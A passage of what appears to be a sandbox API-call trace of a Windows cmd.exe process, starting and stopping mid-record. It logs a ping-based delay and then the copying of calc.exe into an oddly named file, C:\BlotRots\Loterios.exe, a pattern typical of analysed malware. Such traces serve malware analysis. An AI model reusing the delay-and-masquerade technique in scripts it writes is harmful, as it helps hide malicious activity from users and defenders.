() returned 0x2da0000 [0268.083] RtlSizeHeap (HeapHandle=0x2da0000, Flags=0x0, MemoryPointer=0x2db72c0) returned 0x42 [0268.083] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xacf840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0268.083] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0268.099] GetProcessHeap () returned 0x2da0000 [0268.099] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x1ac) returned 0x2da63b0 [0268.099] GetProcessHeap () returned 0x2da0000 [0268.099] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x350) returned 0x2db7310 [0268.113] GetProcessHeap () returned 0x2da0000 [0268.113] RtlReAllocateHeap (Heap=0x2da0000, Flags=0x0, Ptr=0x2db7310, Size=0x1ae) returned 0x2db7310 [0268.113] GetProcessHeap () returned 0x2da0000 [0268.113] RtlSizeHeap (HeapHandle=0x2da0000, Flags=0x0, MemoryPointer=0x2db7310) returned 0x1ae [0268.113] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xacf840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0268.113] GetProcessHeap () returned 0x2da0000 [0268.113] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xf4) returned 0x2da6568 [0268.114] GetProcessHeap () returned 0x2da0000 [0268.114] RtlReAllocateHeap (Heap=0x2da0000, Flags=0x0, Ptr=0x2da6568, Size=0x80) returned 0x2da6568 [0268.114] GetProcessHeap () returned 0x2da0000 [0268.114] RtlSizeHeap (HeapHandle=0x2da0000, Flags=0x0, MemoryPointer=0x2da6568) returned 0x80 [0268.115] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0268.115] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\ping.exe", fInfoLevelId=0x1, lpFindFileData=0x7defd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7defd0) returned 0x2da65f0 [0268.115] GetProcessHeap () returned 0x2da0000 [0268.115] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x0, Size=0x14) returned 0x2da6630 [0268.115] FindClose (in: hFindFile=0x2da65f0 | out: hFindFile=0x2da65f0) returned 1 [0268.116] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0268.116] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0268.116] ??_V@YAXPAX@Z () returned 0x1 [0268.116] GetConsoleTitleW (in: lpConsoleTitle=0x7df4b4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0268.118] InitializeProcThreadAttributeList (in: lpAttributeList=0x7df3e0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x7df3cc | out: lpAttributeList=0x7df3e0, lpSize=0x7df3cc) returned 1 [0268.118] UpdateProcThreadAttribute (in: lpAttributeList=0x7df3e0, dwFlags=0x0, Attribute=0x60001, lpValue=0x7df3c8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x7df3e0, lpPreviousValue=0x0) returned 1 [0268.118] GetStartupInfoW (in: lpStartupInfo=0x7df418 | out: lpStartupInfo=0x7df418*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0268.118] GetProcessHeap () returned 0x2da0000 [0268.118] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x18) returned 0x2da65f0 [0268.118] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0268.118] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0268.118] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0268.118] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0268.118] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0268.118] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0268.118] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0268.118] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0268.119] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0268.120] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0268.120] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0268.120] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0268.120] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0268.120] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0268.120] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0268.120] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0268.120] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0268.120] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0268.120] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0268.120] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0268.120] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0268.120] GetProcessHeap () returned 0x2da0000 [0268.120] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da65f0) returned 1 [0268.120] GetProcessHeap () returned 0x2da0000 [0268.120] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xa) returned 0x2da65f0 [0268.121] lstrcmpW (lpString1="\\PING.EXE", lpString2="\\XCOPY.EXE") returned -1 [0268.123] _get_osfhandle (_FileHandle=1) returned 0x90 [0268.123] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0268.123] _get_osfhandle (_FileHandle=0) returned 0x8c [0268.123] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1 [0268.124] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\PING.EXE", lpCommandLine="ping.exe -n 6 127.0.0.1 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x7df368*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="ping.exe -n 6 127.0.0.1 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x7df3b4 | out: lpCommandLine="ping.exe -n 6 127.0.0.1 ", lpProcessInformation=0x7df3b4*(hProcess=0xe0, hThread=0xdc, dwProcessId=0xf6c, dwThreadId=0x1170)) returned 1 [0268.330] CloseHandle (hObject=0xdc) returned 1 [0268.330] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0268.330] GetProcessHeap () returned 0x2da0000 [0268.330] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da4fb8) returned 1 [0268.330] GetEnvironmentStringsW () returned 0x2da4fb8* [0268.330] GetProcessHeap () returned 0x2da0000 [0268.330] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xbaa) returned 0x2db7970 [0268.331] FreeEnvironmentStringsA (penv="=") returned 1 [0268.331] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0301.970] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x7df34c | out: lpExitCode=0x7df34c*=0x0) returned 1 [0301.971] CloseHandle (hObject=0xe0) returned 1 [0301.971] _vsnwprintf (in: _Buffer=0x7df434, _BufferCount=0x13, _Format="%08X", _ArgList=0x7df354 | out: _Buffer="00000000") returned 8 [0301.972] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0301.972] GetProcessHeap () returned 0x2da0000 [0301.972] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2db7970) returned 1 [0301.972] GetEnvironmentStringsW () returned 0x2da4fb8* [0301.973] GetProcessHeap () returned 0x2da0000 [0301.973] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xbaa) returned 0x2db7970 [0301.973] FreeEnvironmentStringsA (penv="=") returned 1 [0301.973] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0301.973] GetProcessHeap () returned 0x2da0000 [0301.973] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2db7970) returned 1 [0301.973] GetEnvironmentStringsW () returned 0x2da4fb8* [0301.974] GetProcessHeap () returned 0x2da0000 [0301.974] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xbaa) returned 0x2db7970 [0301.974] FreeEnvironmentStringsA (penv="=") returned 1 [0301.974] GetProcessHeap () returned 0x2da0000 [0301.974] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da65f0) returned 1 [0301.974] DeleteProcThreadAttributeList (in: lpAttributeList=0x7df3e0 | out: lpAttributeList=0x7df3e0) [0301.974] ??_V@YAXPAX@Z () returned 0x1 [0301.974] malloc (_Size=0xffce) returned 0x2eb2348 [0301.974] ??_V@YAXPAX@Z () returned 0x7df904 [0301.974] GetProcessHeap () returned 0x2da0000 [0301.974] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x18) returned 0x2da2fc0 [0301.974] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.974] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.974] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.974] GetFileType (hFile=0x90) returned 0x2 [0301.974] GetStdHandle (nStdHandle=0xfffffff5) returned 0x90 [0301.975] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x7df92c | out: lpMode=0x7df92c) returned 1 [0301.977] _dup (_FileHandle=1) returned 3 [0301.977] _close (_FileHandle=1) returned 0 [0301.977] _wcsicmp (_String1="C:\\BlotRots\\Loterios.exe", _String2="con") returned -53 [0301.977] CreateFileW (lpFileName="C:\\BlotRots\\Loterios.exe" (normalized: "c:\\blotrots\\loterios.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x7df908, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90 [0301.979] _open_osfhandle (_OSFileHandle=0x90, _Flags=8) returned 1 [0301.979] ??_V@YAXPAX@Z () returned 0x1 [0301.979] GetConsoleTitleW (in: lpConsoleTitle=0x7df940, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0301.980] malloc (_Size=0xffce) returned 0x2eb2348 [0301.980] ??_V@YAXPAX@Z () returned 0x7df6cc [0301.980] malloc (_Size=0xffce) returned 0x2ec2320 [0301.980] ??_V@YAXPAX@Z () returned 0x7df484 [0301.980] _wcsicmp (_String1="type", _String2="DIR") returned 16 [0301.980] _wcsicmp (_String1="type", _String2="ERASE") returned 15 [0301.980] _wcsicmp (_String1="type", _String2="DEL") returned 16 [0301.980] _wcsicmp (_String1="type", _String2="TYPE") returned 0 [0301.980] ??_V@YAXPAX@Z () returned 0x1 [0301.980] GetProcessHeap () returned 0x2da0000 [0301.980] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x8c) returned 0x2da6650 [0301.980] GetProcessHeap () returned 0x2da0000 [0301.980] RtlReAllocateHeap (Heap=0x2da0000, Flags=0x0, Ptr=0x2da6650, Size=0x48) returned 0x2da6650 [0301.980] GetProcessHeap () returned 0x2da0000 [0301.980] RtlSizeHeap (HeapHandle=0x2da0000, Flags=0x0, MemoryPointer=0x2da6650) returned 0x48 [0301.980] GetProcessHeap () returned 0x2da0000 [0301.980] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x54) returned 0x2da66a0 [0301.981] malloc (_Size=0xffce) returned 0x2ec2320 [0301.981] ??_V@YAXPAX@Z () returned 0x7df1f4 [0301.981] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2ea0048 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0301.981] GetProcessHeap () returned 0x2da0000 [0301.981] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x8c) returned 0x2da41e8 [0301.981] GetProcessHeap () returned 0x2da0000 [0301.981] RtlReAllocateHeap (Heap=0x2da0000, Flags=0x0, Ptr=0x2da41e8, Size=0x48) returned 0x2da41e8 [0301.981] GetProcessHeap () returned 0x2da0000 [0301.981] RtlSizeHeap (HeapHandle=0x2da0000, Flags=0x0, MemoryPointer=0x2da41e8) returned 0x48 [0301.981] GetProcessHeap () returned 0x2da0000 [0301.981] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x42) returned 0x2da4238 [0301.981] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\calc.exe", fInfoLevelId=0x1, lpFindFileData=0x7df490, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7df490) returned 0x2da2fe0 [0301.981] GetProcessHeap () returned 0x2da0000 [0301.981] RtlReAllocateHeap (Heap=0x2da0000, Flags=0x0, Ptr=0x2da6630, Size=0x4) returned 0x2da6630 [0301.981] GetProcessHeap () returned 0x2da0000 [0301.981] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x258) returned 0x2da4fb8 [0301.981] _wcsicmp (_String1="calc.exe", _String2=".") returned 53 [0301.981] _wcsicmp (_String1="calc.exe", _String2="..") returned 53 [0301.981] GetFileAttributesW (lpFileName="C:\\WINDOWS\\System32\\calc.exe" (normalized: "c:\\windows\\system32\\calc.exe")) returned 0x20 [0301.983] malloc (_Size=0xffce) returned 0x2ed22f8 [0301.983] ??_V@YAXPAX@Z () returned 0x7de164 [0301.983] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\calc.exe" (normalized: "c:\\windows\\system32\\calc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x7de168, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0301.984] _open_osfhandle (_OSFileHandle=0xe8, _Flags=8) returned 4 [0301.984] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.984] GetFileType (hFile=0xe8) returned 0x1 [0301.984] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.984] GetFileSize (in: hFile=0xe8, lpFileSizeHigh=0x7de1e4 | out: lpFileSizeHigh=0x7de1e4*=0x0) returned 0x6600 [0301.984] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.984] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.984] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.984] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0301.985] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.985] GetFileType (hFile=0x90) returned 0x1 [0301.985] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.985] GetFileType (hFile=0x90) returned 0x1 [0301.985] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.985] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.987] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.987] GetFileType (hFile=0x90) returned 0x1 [0301.987] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.987] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.987] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.987] GetFileType (hFile=0x90) returned 0x1 [0301.987] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.987] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.987] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.987] GetFileType (hFile=0x90) returned 0x1 [0301.987] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.987] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.987] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.987] GetFileType (hFile=0x90) returned 0x1 [0301.987] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.987] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.988] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.988] GetFileType (hFile=0x90) returned 0x1 [0301.988] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.988] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.988] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.988] GetFileType (hFile=0x90) returned 0x1 [0301.988] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.988] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0301.988] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.988] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0301.988] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.988] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0301.988] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.988] GetFileType (hFile=0x90) returned 0x1 [0301.988] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.988] GetFileType (hFile=0x90) returned 0x1 [0301.988] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.988] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.988] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.988] GetFileType (hFile=0x90) returned 0x1 [0301.988] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.988] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.989] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.989] GetFileType (hFile=0x90) returned 0x1 [0301.989] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.989] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.989] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.989] GetFileType (hFile=0x90) returned 0x1 [0301.989] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.989] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.989] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.989] GetFileType (hFile=0x90) returned 0x1 [0301.989] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.989] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.989] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.989] GetFileType (hFile=0x90) returned 0x1 [0301.989] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.989] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.989] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.989] GetFileType (hFile=0x90) returned 0x1 [0301.989] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.989] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0301.989] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.989] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0301.989] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.989] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0301.990] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.990] GetFileType (hFile=0x90) returned 0x1 [0301.990] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.990] GetFileType (hFile=0x90) returned 0x1 [0301.990] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.990] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.990] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.990] GetFileType (hFile=0x90) returned 0x1 [0301.990] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.990] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.990] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.990] GetFileType (hFile=0x90) returned 0x1 [0301.990] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.990] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.990] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.990] GetFileType (hFile=0x90) returned 0x1 [0301.990] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.990] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.990] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.990] GetFileType (hFile=0x90) returned 0x1 [0301.990] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.990] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.990] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.990] GetFileType (hFile=0x90) returned 0x1 [0301.990] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.990] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.991] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.991] GetFileType (hFile=0x90) returned 0x1 [0301.991] _get_osfhandle (_FileHandle=1) returned 